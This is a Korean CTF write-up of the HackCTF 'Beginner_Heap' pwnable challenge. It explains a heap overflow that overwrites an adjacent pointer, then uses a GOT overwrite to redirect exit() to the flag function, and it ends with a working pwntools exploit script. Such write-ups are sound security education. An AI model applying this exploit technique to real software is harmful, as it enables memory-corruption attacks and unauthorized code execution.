본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Beginner_Heap 풀이

by snwo 2020. 6. 24.

beginner_heap.bin 파일을 받을 수 있다.

.bin 이라고 너무 당황하지말고, file beginner_heap.bin 해보면

ELF 파일인 걸 알 수 있다.


void FUN_004008a8(void)

{
  undefined4 *puVar1;
  void *pvVar2;
  undefined4 *puVar3;
  long in_FS_OFFSET;
  char local_1018 [4104];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  puVar1 = (undefined4 *)malloc(0x10);
  *puVar1 = 1;
  pvVar2 = malloc(8);
  *(void **)(puVar1 + 2) = pvVar2;
  puVar3 = (undefined4 *)malloc(0x10);
  *puVar3 = 2;
  pvVar2 = malloc(8);
  *(void **)(puVar3 + 2) = pvVar2;
  fgets(local_1018,0x1000,stdin);
  strcpy(*(char **)(puVar1 + 2),local_1018);
  fgets(local_1018,0x1000,stdin);
  strcpy(*(char **)(puVar3 + 2),local_1018);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

puVar = malloc(0x10)

*(puVar+0x8) = malloc(8) 

 

이런식으로, 변수에 16 할당한뒤,

할당한 바이트의 두번째 8바이트에 8을 할당한다.

 

puVar=malloc(0x10) 에서 *puVar 의 heap 상태이다.

첫번째값은 각각 1, 2 가 들어가고,

 

두번째바이트에는 각각 8 씩 할당한 heap 의 주소가 들어가있다.

첫번째 heap(8) 과 *puVar2 의 주소가 가까워서

덮어쓰기가 가능할것같다.


    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

RELRO 가 Partial 로 설정되어있으니, got overwrite 가 가능하다.


fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar1 + 2),local_1018);
fgets(local_1018,0x1000,stdin);
strcpy(*(char **)(puVar3 + 2),local_1018);

할당한 후, 0x1000 만큼 입력받고, *(*puVar1+8) 에 strcpy 로 복사한다.

 

puVar1+8 과, *puVar3+8 의 거리가 가까워서 

puVar1+8 에 overflow 를 일으켜 *puVar3+8 값을 조작해

 

두번째 입력받을때 조작된 *(*puVar3+8) 에 원하는 값을 쓸수있다.


void FUN_00400826(void)

{
  long in_FS_OFFSET;
  char *local_28;
  size_t local_20;
  FILE *local_18;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_28 = (char *)0x0;
  local_20 = 0;
  local_18 = fopen("flag","r");
  getline(&local_28,&local_20,local_18);
  puts(local_28);
  fflush(stdout);
  free(local_28);
                    /* WARNING: Subroutine does not return */
  _exit(1);
}

flag 함수가 주어져있으니, exit_got 에 flag 함수의 주소를 넣으면 될것같다.


*(*puVar1+8) = 0x602280

*puVar3+8 = 0x6622a0+8

 

*puVar1+8 ~ *puVar3+8 까지 거리는 40,

*puVar3+8 에 exit_GOT 의 주소를 쓰고,

*(*puVar3+8) = (exit_got) 에 입력을 받을때

flag 의 주소를 쓰면 exit() 함수가 호출될때

exit 대신 flag 함수가 호출되겠다.


from pwn import *

flag=0x400826
r=remote("ctf.j0n9hyun.xyz",3016)
b=ELF("./beginner_heap.bin")

pay1='x'*40
pay1+=p64(b.got['exit'])

pay2=p64(flag)

r.sendline(pay1)
r.sendline(pay2)

r.interactive()